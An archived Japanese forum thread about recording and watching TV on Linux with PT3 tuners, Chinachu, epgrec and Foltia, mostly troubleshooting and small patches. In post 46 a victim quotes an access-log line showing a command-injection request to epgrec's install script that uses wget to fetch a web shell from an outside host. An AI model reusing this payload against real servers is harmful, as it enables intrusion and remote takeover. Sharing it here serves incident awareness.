板検索:
【視聴・録画】Linuxでテレビ総合9【デジタル/アナログ】 (984)
まとめビュー
最新スレッド候補が見つかりました
【視聴・録画】Linuxでテレビ総合14 (96) スレ作成日時:2017/02/19 20:18:35
過去ログ 【視聴・録画】Linuxでテレビ総合14 (96) 2017/02/19 20:18〜
過去ログ 【視聴・録画】Linuxでテレビ総合13 (932) 2016/10/04 01:52〜
1
login:Penguin[]   投稿日:2014/01/05 14:43:09  ID:Nliy8HmL.net


2
login:Penguin[sage]   投稿日:2014/01/05 17:04:17  ID:wL0uVB1N.net

3
login:Penguin[sage]   投稿日:2014/01/06 22:16:25  ID:XGM+a2iM.net

4
login:Penguin[sage]   投稿日:2014/01/06 22:53:28  ID:YLMNViP5.net

5
login:Penguin[]   投稿日:2014/01/06 23:53:00  ID:3XX4RO8S.net
Foltia ANIME LOCKERを使っている人に質問させてください。

FoltiaをインストールしたPCのCPUが推奨より低いのが原因なのかもしれないのですが、
ライブ配信を視聴した場合のみ、動画がカクツキます。
推奨以上のCPUをお使いの方でも、このような症状は出ていますでしょうか?

なお、カクツキはビットレートに関係なく発生しています。
また、再生側のPCは高性能なグラフィックスカードを使っているので、再生側の問題ではないと思います。
コメント1件

6
login:Penguin[sage]   投稿日:2014/01/07 03:42:38  ID:i72D8FNH.net(2)
ライブ視聴機能を追加 by toriimiyukki · Pull Request #74 · kanreisa/Chinachu
https://github.com/kanreisa/Chinachu/pull/74
よさそう?
コメント1件

7
login:Penguin[sage]   投稿日:2014/01/07 06:58:18  ID:RqUT09u+.net
Chinachuって番組表見づらいんだよね
それ以外は良いんだけど
コメント1件

8
login:Penguin[sage]   投稿日:2014/01/07 07:37:47  ID:7iKxMtgJ.net
>7
もうすぐ新聞欄っぽくなるってコミケでいってたよ
海外の形式にあわせてたんだとさ

9
login:Penguin[sage]   投稿日:2014/01/07 21:01:02  ID:i72D8FNH.net(2)
Chinachu, lock ファイル自作じゃなくて /proc/\d+/fd/\d+ 全部舐めるのダメなんかね。
コメント1件

10
login:Penguin[sage]   投稿日:2014/01/07 21:20:19  ID:VhqpS2YZ.net
スレ違いなのは重々承知です。
Mediatombに関するスレが見つからなかったので、識者が多そうな
ここに書き込ませていただきます。
適切な場所があれば、誘導頂けると幸いです。

Mediatombが最近になって、起動後何分か経つとDLNAクライアントから
認識されなくなります。
サービスの再起動を行うと一時的に治るのですが。。。
何か思い当たることはありませんでしょうか。。
ログなど見ても特にエラーもなくて困っております。

11
login:Penguin[sage]   投稿日:2014/01/07 22:24:49  ID:G+B7A32S.net(2)
>9
プロセスがファイルを開いてるかどうかの情報をどうやってlock代わりにするのかイマイチ謎なのだが
コメント1件

12
login:Penguin[sage]   投稿日:2014/01/07 22:31:12  ID:G+B7A32S.net(2)
しかしlockファイルにはそのロックしてる子プロセス(Chinachuの場合チューナ)のPIDを入れたらいいなと思う
operator起動時にそのPIDがシステムに存在しなければ安全に(=自動的に)そのlockファイルを消せるから
コメント1件

13
login:Penguin[]   投稿日:2014/01/08 00:12:40  ID:cgl+6B/Q.net(2)
>5
自己レスですが、いろいろ調べた結果、カードリーダー読み込みの遅さがカクカクに影響しているようでした。
カードリーダを交換したところ、カクカクがだいぶ改善されました。
CPUの遅さも影響しているものと思います。
(perlで書かれているsegmenterというプログラムのパフォーマンスが悪い可能性もあるような)

その他に、環境の問題かもしれないですが、ライブ配信に失敗することが多々ありました。
原因を調べると、recpt1とffmpegとの間のFIFOにデータが書き込まれる前に、ffmpegが動き出すことがあることが原因でした。

/home/foltia/perl/live_process_starter.pl
の200行目に付近に以下の用のようにsleepを入れると安定するようです。
同じ症状の方の参考になれば。

#srcflagがfileだったらpgrep tailしてDB追加
if ($srcflag eq "file"){
- sleep (2);#起動待ち
+ sleep (3);#起動待ち
.....
+ sleep(1);
exec($ff_segmenter_execcmd);
コメント1件

14
12[]   投稿日:2014/01/08 00:21:39  ID:cgl+6B/Q.net(2)
>13
すいません、一点修正です。
segmenterは、perlではなくバイナリでした。

15
login:Penguin[sage]   投稿日:2014/01/08 00:57:01  ID:nM1ah1Qm.net
いちおつ

16
login:Penguin[sage]   投稿日:2014/01/08 01:50:08  ID:EVb8G25N.net(2)
>11
例えば /dev/pt3video2 開いてる奴いたら、それ使って録画/ライブ視聴したら
マズそうっての分かりそうだけどダメかね。
Chinachu 以外に使ってるヤツいる場合にも対応できるし。

lock ファイル残る問題は >12 やり方のほうが改変少なくて良さそうだけど。
コメント1件


17
login:Penguin[sage]   投稿日:2014/01/08 07:51:46  ID:op/x5jfx.net
使ってるところを他から触ってドロップされたりエラーで落ちられたら困るw

18
login:Penguin[sage]   投稿日:2014/01/08 15:18:50  ID:wE2BBIfR.net(2)
>16
Chinachuは専用の実行ユーザを作るのが(たぶん)推奨されてるので
その情報はチューナの実行ユーザが違うだけで取れないからキツイと思う
デバイス名は流動的だし、必ずしもデバイスファイルを経由する作りとも限らんし(共有メモリetc)
コメント1件

19
login:Penguin[sage]   投稿日:2014/01/08 20:42:29  ID:wE2BBIfR.net(2)
>6
どこからこの機能呼び出すんだろうって思ったらそこかー…てなった
機能的にはかなり良い

20
login:Penguin[sage]   投稿日:2014/01/08 21:24:54  ID:EVb8G25N.net(2)
>18
たしかにそのとおりだ。全然ダメだ。

21
login:Penguin[sage]   投稿日:2014/01/09 08:00:57  ID:7yUYpCp/.net
グループが一緒なら取れる。
というか、何のためにグループがあるのかとw
コメント1件

22
login:Penguin[sage]   投稿日:2014/01/09 09:08:33  ID:hxuaDYvF.net(2)
>21
普通デーモンと一般ユーザは同じグループに置かんです
さらに /proc/{pid}/fd/ は500なので置こうが置くまいが取れんです

23
login:Penguin[sage]   投稿日:2014/01/09 12:53:41  ID:oS3R4CNW.net
fuser /dev/dvb/adapter0/frontend0
みたいのはうまくいかないのかな
グループはサーバにもユーザにも共通のグループをそれぞれ追加すればいいと思うけど (videoみたいな)
コメント1件

24
login:Penguin[sage]   投稿日:2014/01/09 21:13:08  ID:hxuaDYvF.net(2)
>23
同じこと。rootとそれ以外のユーザで`fuser /`でもしてみれば分かる
プロセスが特定のファイルを開くタイミングを公開したらクラックのための良いヒントを与えちゃう訳で
多分どうやったって取得できない

25
login:Penguin[sage]   投稿日:2014/01/09 23:22:32  ID:R4+wlVID.net(2)
デバイスファイルを開いてみて、
失敗すれば、既に誰かが開いていると思う、っていうんじゃ駄目なんだっけ?

26
login:Penguin[sage]   投稿日:2014/01/09 23:33:49  ID:R4+wlVID.net(2)
/proc/~~/fd/を舐めるなら、lsofを使った方が良いかも?
まあ、結局、パーミッションの問題があるか。
lsofコマンドだけはノンパスでsudoできるように設定させるとか。
$ sudo lsof /dev/pt3video*

それも嫌であれば、PT3のドライバに10行くらい書き足せば、
sysfs経由で既にデバイスがオープン済みかどうかを公開できそう。

いちおう、PT3のドライバを見る限り、多重オープンされた場合には、
後からオープンした方は失敗するようになっているみたいだけれど。

27
login:Penguin[sage]   投稿日:2014/01/10 03:00:07  ID:cHyNmCIZ.net
もういっそWindowsのspinelやvirtualPTあたりみたいに任せて自動管理させよう

28
login:Penguin[sage]   投稿日:2014/01/10 08:46:15  ID:CKrvo/EQ.net(2)
仲介するユーザーとか作ればいいのに。
とか言ってみるw

29
login:Penguin[sage]   投稿日:2014/01/10 09:27:03  ID:NccUa54l.net
/dev/pt3video*のパーミッションの問題なら、udevの設定いじればいいじゃん。

30
login:Penguin[sage]   投稿日:2014/01/10 09:55:55  ID:CKrvo/EQ.net(2)
rw-rw----かrw-r-----だよねw

31
login:Penguin[sage]   投稿日:2014/01/10 10:59:35  ID:b7PTZOIz.net
いろんなチューナに柔軟に対応するために
"チューナプロセスの標準出力を使う"っていうシンプルな形になってるのに
チューナプロセスが使うデバイスを確認するなんていう工程を入れようとするのはそもそも筋が悪い

32
login:Penguin[sage]   投稿日:2014/01/10 20:48:23  ID:oYgup2LA.net
chinachuで金曜ロードSHOW!の放映タイトルわからない。
今日の例で言うと

タイトル:金曜ロードSHOW!
説明:ブルース・ウィリス演じる“世界で一番運が悪くて一番タフな男”マクレーン警部補が登場!サイバー・テロVSアナログ刑事が繰り広げる痛快ノンストップ・アクション大作。

でこの映画のタイトルは?となっている
コメント1件

33
login:Penguin[sage]   投稿日:2014/01/10 21:31:11  ID:2kGOq0c5.net(2)
>32
ちょっとワロタ

https://github.com/kanreisa/Chinachu/blob/master/app-scheduler.j...#L288-295
ここでサブタイトルとして抽出されてしまってるんかね。

このクソみたいな EPG 滅びて欲しいですね。

34
login:Penguin[sage]   投稿日:2014/01/10 21:49:12  ID:YUVdEZLb.net
悪いのはEPGではなく放送局だよ
コメント1件

35
login:Penguin[sage]   投稿日:2014/01/10 22:04:19  ID:2kGOq0c5.net(2)
schedule.json 見たけど、やっぱり
"subTitle": "ダイ・ハード4.0",
"fullTitle": "金曜ロードSHOW! 「ダイ・ハード4.0」【二】【字】【デ】",
ってなってた。どうするんだろ。

>34
もちろん、直接的には放送局がタイトルのフォーマットを統一しないせいで、
app-scheduler.js みたいな悪夢のような置換・抽出処理が必要になってるんだけど、
大元はEPGの規格がショボイせいじゃないかなぁって思ってる。
エピソード番号やサブタイトル、新/二/字/デ/再フラグを構造的に
持っていてくれたら良かったのにって思う。
それでも放送局が妙な運用する可能性はあるんだろうけど。

36
login:Penguin[sage]   投稿日:2014/01/10 22:46:22  ID:q1Q3oZCY.net
そういえば前にgstreamerのSPDIFパススルーライブラリ作るって
言ってた人が居た気がするんだけど、成果でてるのだろうか。
特に無いなら、作ってみようかなぁと妄想中。
コメント1件

37
login:Penguin[sage]   投稿日:2014/01/11 11:54:49  ID:scTTvrJ0.net
gstreamerのプラグインのコードって、けっこうドロドロしてると思うわ。

38
login:Penguin[sage]   投稿日:2014/01/11 13:29:29  ID:mpThlGz/.net
>36
もう本家にマージ済みだよ
pulseaudioにも対応が必要だから最新版が必要だけど

39
login:Penguin[sage]   投稿日:2014/01/13 01:50:20  ID:HJ4V0De5.net
DVB向けのISDBパッチ mplayer/gstreamer/DVBアプリ

https://github.com/0p1pp1

descramble機能は外部ライブラリに出してあります
mplayerは字幕対応, gstreamerは1.2系への移植が中心です
コメント1件

40
login:Penguin[sage]   投稿日:2014/01/13 11:21:44  ID:+Y9WGtps.net
つか、日テレ系だけが変なんじゃね?

41
13[sage]   投稿日:2014/01/14 22:40:19  ID:iuCZBQPA.net
foltia anime lockerを使っていて、幾つか明らかなバグを見つけたので、
ここにメモしておきます。

1.放送波が正しく取得できないチャンネルをライブストリーミングした後に、
ストリーミングを停止しようとしても、recpt1が停止できない。
(表示上は停止したように見えるが、実際にはrecpt1がチューナーを占有したままになる)

stoplivestreamingkill()内を以下のように修正
- system("kill $processid");
+ system("kill -KILL $processid");

2.ライブストリーミングにコーミングノイズが乗る

perl/live_process_starter.pl内
$ffmpegcmdが10個書かれているので、"-deinterlace"をそれぞれに追加する。
コメント1件

42
login:Penguin[sage]   投稿日:2014/01/15 23:56:27  ID:uhNoED7z.net
放送局が途中でタイトル変えて、録画失敗をきっかけに見なくなる番組、多いよね

43
login:Penguin[sage]   投稿日:2014/01/16 12:32:49  ID:j9cSF3xR.net
>41
元のソースは全然見てないけど、何でsystem()経由でkill呼んでんだろな?
直接kill()叩けば良さそうなのに。
コメント1件

44
login:Penguin[sage]   投稿日:2014/01/16 18:26:03  ID:+76kzaoL.net
chinachuの番組表変更まだまだかなあ

45
login:Penguin[sage]   投稿日:2014/01/16 20:45:36  ID:TMxEKoMu.net(2)
うわ最悪、epgrecに変なファイル置かれた…。
パスワード認証もかけてたんだけどどこから入ったんだろう…。
コメント1件

46
login:Penguin[sage]   投稿日:2014/01/16 21:00:58  ID:TMxEKoMu.net(2)
と思ったらドメイン経由だとかかってたけどIPアドレス直打ちだとかかってなかった

87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
コメント6件

47
login:Penguin[sage]   投稿日:2014/01/16 21:39:44  ID:6RzBiSOm.net
>43
何でだろうね?
正直、特に理由はない気がする。

Foltiaのコードは、難読処理かと疑うほどグチャグチャだからなぁ。
似たようなコードや定義がたくさんあったり。
良くあれで、システム全体として破綻せずに動いていると感動する。

48
login:Penguin[sage]   投稿日:2014/01/16 22:04:42  ID:YCJMj0m9.net
神は最初の1日はLispを使ったが、残りの6日はPerlを使ったと言われる
Perlならしかたない

49
login:Penguin[sage]   投稿日:2014/01/17 05:48:54  ID:R+FZTsYf.net
>46のドメインでぐぐったら http://gesopls.de/abc/ とか出てきた
もしかしてアニメのts確保するために乗っ取ってるのかな?

50
login:Penguin[sage]   投稿日:2014/01/17 11:54:50  ID:SLEIzD9y.net
> step5.php?script=;wget
ちょw 入力のsanitizeせずにそのまま実行してるのか
それになんでlocalhostからの接続だけに制限してSSHトンネルでつながないんだ?

51
login:Penguin[sage]   投稿日:2014/01/17 20:28:35  ID:zaHlRndY.net
>46がニュー速(嫌儲)でスレたってた

52
login:Penguin[sage]   投稿日:2014/01/17 22:37:40  ID:dUWADpoD.net
関西までカバーしてすげーなーって思ってたらお前らのPC使ってたのか

53
login:Penguin[sage]   投稿日:2014/01/17 23:55:54  ID:TeEJ/D2z.net
この事実が今まで明らかにされてなかったのも驚きだわ
誰かが推測ぐらいしなかったの?

54
login:Penguin[sage]   投稿日:2014/01/18 00:17:07  ID:NhIdSgfQ.net
epgrecUNAの穴は、これが始めて
本家の方は別の所に穴がある

55
login:Penguin[]   投稿日:2014/01/18 00:28:23  ID:qAc8fKwR.net

56
login:Penguin[sage]   投稿日:2014/01/18 00:49:31  ID:95/a8dAX.net
どっちにしろepgrecみたいな奴は外部公開すると著作権的にまずいような。まあ今回の>46はミスなんだけど。
この手の脆弱性は塞ぐべきだとは思うけど、それ以前に外に出てる時点でアウトだからなあ

57
login:Penguin[sage]   投稿日:2014/01/18 00:59:58  ID:CCo7xX3k.net
>この手の脆弱性は塞ぐべきだとは思うけど、
>46の書き込みから2時間で修正されたw

58
login:Penguin[sage]   投稿日:2014/01/18 04:08:57  ID:NW62jkPb.net
はじめまして。質問があります。
http://transitive.info/2012/10/22/ubuntu-pt3-epgrec/
を読んで、Ubuntu 12.04TLS+PT3で録画サーバを構築したのですが、
EPGrecのCS(フジテレビNEXT等)のEPGデータが取得出来ません。
これはどうすれば解消しますか?
コメント2件

59
login:Penguin[sage]   投稿日:2014/01/18 06:36:10  ID:uFIdaF9o.net(2)
>58
epgrec派生版のどれかとそれに対応したepgdump等を導入し直す
config.phpとepgdumpのソースを直してもいいけど面倒

60
login:Penguin[sage]   投稿日:2014/01/18 08:10:31  ID:TuTjURbU.net(2)
>58
ドライバ、LNBの通電設定を変更しないでいきなりmakeしてるけど、デフォで通電なの?

61
login:Penguin[sage]   投稿日:2014/01/18 16:31:47  ID:uFIdaF9o.net(2)
テレビやレコが常時通電だったり
混合線でブースターが供給してたり

62
login:Penguin[sage]   投稿日:2014/01/18 16:48:08  ID:yxpY1Oor.net
デフォルトOFFで録画コマンド側でON/OFFするのが普通じゃないのか

63
login:Penguin[sage]   投稿日:2014/01/18 18:18:45  ID:TuTjURbU.net(2)
通電しなけりゃbs,csは受信できない。
言うまでもないと思ったんだけど。
コメント1件

64
login:Penguin[sage]   投稿日:2014/01/18 21:48:50  ID:UbK5f+zj.net
>63
アンテナに繋がっている機械のどれかが
通電していれば受信できるよ。
もちろんテレビでもビデオでもなんでいい

それがマンションとかの共同アンテナであれば
自分の家の誰かが通電していればいい。
というか共同アンテナの場合は専用の機械が電気を供給しているが。

これこそ、意味までもないと思ったんだけど、
知らなかったんでしょ?

65
58[sage]   投稿日:2014/01/20 20:44:28  ID:6DK7l9bo.net
epgrec UNA は、BSチャンネルのEPG情報が取れません。
(地デジ/CSは取れる)
不思議です。元祖epgrecにパッチを当てる場合、
どこにどう修正すれば良いのか教えてください。
コメント1件

66
login:Penguin[sage]   投稿日:2014/01/21 10:40:43  ID:w8mVfZK4.net
なんかトレンドマイクロから、なんの前触れもなしに
/egrec/video/ への単発アクセスが来たんだけど
>46 の影響だろうか
みんなも気を付けて

67
login:Penguin[sage]   投稿日:2014/01/21 11:50:00  ID:zyBuA5AI.net
トレンドマイクロ「チラッ・・・・・・・・・・・・ぷっ」

68
login:Penguin[]   投稿日:2014/01/21 16:34:14  ID:KzdAegN3.net
http://hg.honeyplanet.jp/pt1/
500 Internal Server Error

つながらない

69
login:Penguin[sage]   投稿日:2014/01/25 08:44:08  ID:JLtcG7D4.net(4)
スレ違い立ったらごめんなさい。質問です。手持で遊ばせてるBIOSTAR NM70I-847にDDR3-1066 2GB + SSD 30GB(システムインストール用) + HDD 1TB(録画領域用)に
PT3 + ANIME LOCKER 3.0をプラスして録画専用機を構築検討していますがスペック的問題とかデメリットとかあるでしょうか?

エンコは外部のメイン使用のPCで行うこと前提で考えているので基本録画オンリーですがご意見よろしくお願いします。

70
login:Penguin[sage]   投稿日:2014/01/25 08:57:10  ID:ewPuFLtx.net
構成はバランスいいんじゃね?
バックグラウンドでエンコも任せて良いくらい
コメント1件

71
login:Penguin[sage]   投稿日:2014/01/25 09:10:55  ID:K6o7/7LL.net(2)
SSDがもったいない気がするぐらいかな
30GBってことは古いお下がりなんだろうけど、ANIMEROCKER(以下AL)って起動はHDDでもそんなに重くないし。
まぁ、先ずは評価版入れて試してみれ。
チューナー笹ってなくともインスコはできるでな。

エンコまで任せるとちと辛いんじゃなかと?
録画オンリーなら問題ないけども。
コメント1件

72
login:Penguin[sage]   投稿日:2014/01/25 10:57:16  ID:JLtcG7D4.net(4)
>70 >71
参考意見有難うございます。実は現状はメイン使用PCにアキバストックのAKB-PCR20X/ブルドッグ・チューナーを使っているのですが
NM70I-847の方が遊んでるので使い道を模索しててブルドックチューナーよりよりメジャーで高機能なPT3が良いかなった思ったのがきっかけでした。
評価版試して良さそうなら導入したいと思います。

73
login:Penguin[sage]   投稿日:2014/01/25 16:27:19  ID:lr9j2vN4.net
foltiaALはシステム領域DISKは16GBで
残りはLVMにぶち込まれてしまう

SSDの残りの部分を手動でlvmから削除するオペレーションが必要だよ
コメント1件

74
login:Penguin[sage]   投稿日:2014/01/25 17:34:23  ID:JLtcG7D4.net(4)
>73
いまいち良くわからないのですが、方法は簡単ですか?
それともSSD抜きにして1TB HDDにシステムと録画領域をまとめた方が楽ですか?
コメント2件

75
login:Penguin[sage]   投稿日:2014/01/25 18:11:50  ID:K6o7/7LL.net(2)
>74
適当にまとめると
「SSD入れても特に快適になる訳でもない上に、SSD上にも録画領域が作られて邪魔くさい。」
なので、SSD上の録画領域のパーティションを使わず、録画はSSDだけにまとめるといい。
もしくは、最初からHDD1台構成でやる方が楽。

一応ALの設定上に、録画パーティションを設定する項目があるんだが、HDD追加して/dev/sdb1ってな具合で設定して見たら、パーティション情報おかしくなって起動しなくなった。

なお、環境をVirtualBoxで試したので、それのせいかもしんない。
コメント1件

76
login:Penguin[sage]   投稿日:2014/01/25 22:29:05  ID:zVA12iY3.net
Foltiaノバアイ、一台目のHDDは、2T以下の容量でなければならないので、
HDD一台でやるなら、注意が必要。
コメント1件

77
login:Penguin[sage]   投稿日:2014/01/25 23:09:23  ID:JLtcG7D4.net(4)
>75 >76
丁寧な解説と情報感謝します。
SSD抜きにしてHDDオンリーの構成で行くのがベストっぽいですね。取り敢えず初期段階では1TBのHDD1代からスタートなので
後々は増設する形で行きます。

78
login:Penguin[sage]   投稿日:2014/01/26 02:06:09  ID:hGPyJQ1r.net
また宣伝?

79
login:Penguin[sage]   投稿日:2014/01/26 10:12:18  ID:AVSN5kXQ.net(2)
ぶっちゃけ宣伝するほど完成度高くは無いから、PT3ならepgrecとかchinachu使う方が幸せになれるかも知れん。っていうか幸せだ。

W3PEをLinuxで使いたい俺の如き情弱ならAL使っとけってぐらい。

80
login:Penguin[sage]   投稿日:2014/01/26 19:11:34  ID:pbaHHkpd.net
foltiaALってCentos5ベースなんだろうか
だとしたら早く6系使わせてあげろよと思う

81
login:Penguin[sage]   投稿日:2014/01/26 19:29:20  ID:AVSN5kXQ.net(2)
俺の気が確かならインストールCDが5.10で、中身が6.4だった気がする

82
login:Penguin[sage]   投稿日:2014/01/27 00:11:36  ID:w16bGGNC.net
recpt1の本家が落ちてるけど、どっかにミラーとかないかなあ。
STZ版使ってchinachu入れてみたんだけどうまく動いてくれないから本家でやりたいんだけど。。。
コメント1件

83
login:Penguin[sage]   投稿日:2014/01/27 23:10:52  ID:IIGxyOzQ.net
>82
stz版recpt1でchinachu動かせてるけど。

一週間くらい前にUbuntu 12.04.3 LTS鯖でchinachu構築したときに
本家のMercurial落ちてたからstz版使ってるけど問題ない感じ。

arib25が手に入らないってオチ?
コメント1件

84
login:Penguin[sage]   投稿日:2014/01/27 23:30:34  ID:C8BBGFcN.net
foltiaALのサーバに公開されてるよ

85
login:Penguin[sage]   投稿日:2014/01/27 23:55:25  ID:6iEdPdvb.net
バカには無理。

86
login:Penguin[sage]   投稿日:2014/01/28 00:35:57  ID:Vqqb9JkL.net
>83
情報ありがとう、STZ版でも問題ないのね。
番組表が取得できない状態なんでチャンネル設定いじくりまわしてるんだけど
どうにもうまくいかなかったからrecpt1疑ってたけど、STZの中の人ごめんなさい。
もうちょっといろいろやってみますわ。
コメント1件

87
login:Penguin[sage]   投稿日:2014/01/28 01:23:26  ID:fmaEuR5q.net
recpt1から録画したtsから、
番組情報を取り出すコマンドなかったっけ?
何か試したことがある気がする。

88
login:Penguin[sage]   投稿日:2014/01/28 02:28:41  ID:gQCWNFPh.net
"schedulerEpgRecordTime" : 120,
これじゃないニカ?

89
83[sage]   投稿日:2014/01/28 08:07:43  ID:mwKUoJzF.net(2)
>86
config.jsonは正しく設定できてる?
地デジの物理チャンネルとか

90
83[sage]   投稿日:2014/01/28 08:11:02  ID:mwKUoJzF.net(2)
うちのconfig,jsonは
http://gedit.blog40.fc2.com/blog-entry-109.html
の設定を適用して、
地デジの物理チャンネルは地元用に書き換えた。

91
login:Penguin[sage]   投稿日:2014/01/28 08:35:51  ID:Q/AAaHhl.net
遅レス
>74
lvmからのDisk領域(PV:物理ボリューム)の削除方法
(正確にはVGからのPVの削除方法)
http://itneko.blogspot.jp/2010/08/lvm-vgpv.html
foltiaALの場合は削除対象は /dev/sda2 になると思う

面倒はあるが
システム領域を別Diskにしておくメリットもあって、
録画用Diskを例えば4TBに「入れ替え」る時に
一度4TBのDiskを既存のVGに追加してから
既存Diskを削除することで
取り外しができるようになる

92
login:Penguin[sage]   投稿日:2014/01/28 15:12:23  ID:i/Chz2Q/.net
Chinachu、確かに使えてるのだけど
肝心のダッシュボードの色がピンクじゃなくて白くなるのは何故だろう?設定いじっちゃった?
コメント1件

93
login:Penguin[sage]   投稿日:2014/01/28 22:11:50  ID:cON58LIo.net
>92
最新版では変更があった。
番組表やルールがある欄はピンクに、
メイン(予約済みの番組名が表示される)部分は白色に、
右側の録画済み番組名が表示される部分は黒にレイアウト等が変更された。

94
login:Penguin[sage]   投稿日:2014/01/29 08:18:53  ID:1tk72Hye.net
ちなちゅの番組表歯抜けになるー
epgrecだと大丈夫なのに。。

95
login:Penguin[sage]   投稿日:2014/01/30 00:05:24  ID:0pS3ovzm.net

96
login:Penguin[sage]   投稿日:2014/01/30 09:17:03  ID:+Tp/VcQn.net
ああ、俺これと同じ修正自分で入れて使ってたわ

97
login:Penguin[sage]   投稿日:2014/01/30 19:43:26  ID:7PPlMg03.net(5)
今回、PCが壊れて、UBUNTU12.04をインストールしたPCにepgrecUNAをインストールしました。
最初のインストール画面が出てこないのです。
インストール先は、/var/www/epgrecと言う普通の構成です。
Apatchとphpは、wwwにおいたindex.htmlとphpファイルは、ブラウザーから見れたので、大丈夫だと思うのですが、http://127.0.0.1/epgrec/を立ち上げでも何も出てこないです。
何か解決策のヒントをいただけないでしょうか。

98
96[sage]   投稿日:2014/01/30 20:00:18  ID:7PPlMg03.net(5)
phpは、index.phpとした場合、/127.0.0.1/index.phpまで指定すると見れますが
index.htmlの代わりに置いても、/127.0.0.1/では、見れませんでした。
コメント1件

99
login:Penguin[sage]   投稿日:2014/01/30 20:06:32  ID:G/f7vJHq.net
>98
Apacheの設定
DirectoryIndexにindex.phpを追加

100
login:Penguin[sage]   投稿日:2014/01/30 20:13:48  ID:drdArhFp.net
ドキュンルートが/var/www/でねーとだべ

101
login:Penguin[sage]   投稿日:2014/01/30 20:36:23  ID:K02btsnZ.net(2)
index.phpの編集ミス
コメント1件

102
login:Penguin[sage]   投稿日:2014/01/30 20:55:15  ID:4ZcVEY3O.net
config.phpが無いオチとか。

103
login:Penguin[sage]   投稿日:2014/01/30 21:03:00  ID:K02btsnZ.net(2)
>101間違えた   orz
×index.phpの編集ミス
○config.phpの編集ミス

104
96[sage]   投稿日:2014/01/30 21:29:40  ID:7PPlMg03.net(5)
DirectoryIndexを確認しましたが、index.phpの記載はありました。念のため、先頭にしました。
var.www直下においた確認用のindex.phpは動きました。
しかし、epgrecに置くと直接指定しても反応してないようです。
epgrec下のindex.phpは、配布されているもので特に変更していません。
cofig.phpは、チャンネル設定とTRUEの変更をしただけです。

105
97[sage]   投稿日:2014/01/30 21:33:54  ID:7PPlMg03.net(5)
96じゃなくて、97でしたorz

epgrecのindex.phpをwww直下に置いてみると、fileがないので動きませんが、install/step1.phpにアドレス替わっていました。

106
97[sage]   投稿日:2014/01/30 22:30:14  ID:7PPlMg03.net(5)
1からやり直してみます。
御助言していただいた方ありがとうございました

107
login:Penguin[sage]   投稿日:2014/01/31 02:54:32  ID:hLD936p5.net
Chinachu で予約衝突することがしばらくなくて、さっきほど久しぶりに衝突してるのに気がついた。
昔に比べるとえらく予約衝突がわかりにくくなってるんだな。

108
login:Penguin[sage]   投稿日:2014/01/31 08:08:23  ID:c4LUabXr.net
ちなちゅは一回入れてみたけど
予約のやり方が独特すぐて馴染めずにepgrecに戻ろうと思ったけど
せっかくだからUNAにした

109
login:Penguin[sage]   投稿日:2014/01/31 20:34:58  ID:0PBYiCdE.net
PT3を4枚積んだ全録サーバを作った。

1. recpt1から標準出力を介して、splitでTSを約10MBずつ分割。
2. epgdumpで放送局ごとにEPGデータをためておく。
3. HTTPでクライアント側はEPGを読み、それに対応するTSファイルを落として繋げる。
4. パッチを当てたVLCKit(OSX向けフレームワーク)を利用して再生する。

Macでテレビを見たいが故に、大げさなことになったよ。
遡って番組を見ることも可能だし、リアルタイム視聴もシンプルにできる。
地デジ7/BS5/CS3を常時録画して、ストレージ12TBで3日弱ぐらい。
同じようなことやってる人、いますか (´・ω・`)
コメント2件

110
login:Penguin[sage]   投稿日:2014/01/31 22:43:24  ID:na8b6Daa.net
>109
大げさすぎるwせっかくだから公開汁。

111
login:Penguin[sage]   投稿日:2014/02/01 00:43:02  ID:T+lHd1Xk.net
確かにやってることはスゴイが活用できる気がしないw

112
login:Penguin[sage]   投稿日:2014/02/01 09:10:31  ID:Dl7YsylQ.net
MacとかiOSにストリーミングする場合って、HTTP Live Streamingプロトコルでやらないといけないんだっけか

113
login:Penguin[sage]   投稿日:2014/02/01 11:03:57  ID:P9KHltNZ.net(2)
>109
おーすごい。
いわゆるタイムシフトってやつだね。
ディスクのIOが足りるのか気になるなぁ。

114
109[sage]   投稿日:2014/02/01 19:54:13  ID:sk0q5wzd.net
富士通PRIMERGY TX100に4TBのHDDを3台、メモリーは6GB積んでCentOS 6.4を入れてます。
スワップは利用しないよう設定しました。切らないとスラッシングを起こしてload averageが300越えしたので。

/etc/sysctl.confで
・vm.min_free_kbytes
・vm.dirty_ratio
・vm.swappiness
の値を試行錯誤しました。結果、load averageは1分で最悪1.5ほどに落ち着いたかな。
I/Oもなんとか追いついてるみたい。

シェルスクリプトとcronで回しただけのプロトタイプだから、公開するならすべて書き直しだわ。
アナログ時代にソニーのCoCoon(CSV-EX11)を使っていて、それを超えるものを作りたかった (´・ω・`)
コメント2件

115
login:Penguin[sage]   投稿日:2014/02/01 21:54:23  ID:P9KHltNZ.net(2)
foltiaALでmp4に変換したら音ズレしまくってで、コード読んでみたら29.97が至るところにハードコードされててワロタ

116
login:Penguin[sage]   投稿日:2014/02/01 23:28:14  ID:5tgaqZqI.net
必要なときにファンを回すセミファンレス録画Linuxボックスつくろうとしてるんだけど、PWMって0にしてもファン回るんだな。。。

117
login:Penguin[sage]   投稿日:2014/02/01 23:43:46  ID:d3dr2fbV.net
>114
うちのCoCoonは何度イラネって教えても機関車トーマスを録画し続ける頭の悪い子だった

118
login:Penguin[sage]   投稿日:2014/02/02 00:17:10  ID:xlHkEz8y.net
foltiaやchinachuで録画もEPGしない時にスリープする方法ってないですかね

MythTVなら出来るんだろうけど。。。
コメント1件

119
login:Penguin[sage]   投稿日:2014/02/02 02:00:00  ID:wqU5y5wI.net(2)
>114
メモリが6Gでは厳しくないですか?
X使わないで完全にコンソールだけにして、録画指定や閲覧を別の機械でやるなら別ですが、せめて8G、可能なら16Gと複数のSATAカード。

120
login:Penguin[sage]   投稿日:2014/02/02 02:01:22  ID:wqU5y5wI.net(2)
>118
今の0.27って、デフォルトでISDBやb25に対応してるんでしょうか?

121
login:Penguin[sage]   投稿日:2014/02/02 12:38:43  ID:RTDy2sGM.net
PT3の録画って1chあたりそんなにメモリ使ったっけ?

122
login:Penguin[sage]   投稿日:2014/02/02 14:06:23  ID:m5crfpkM.net
1chで32Mぐらいでも×16だからそれなりに
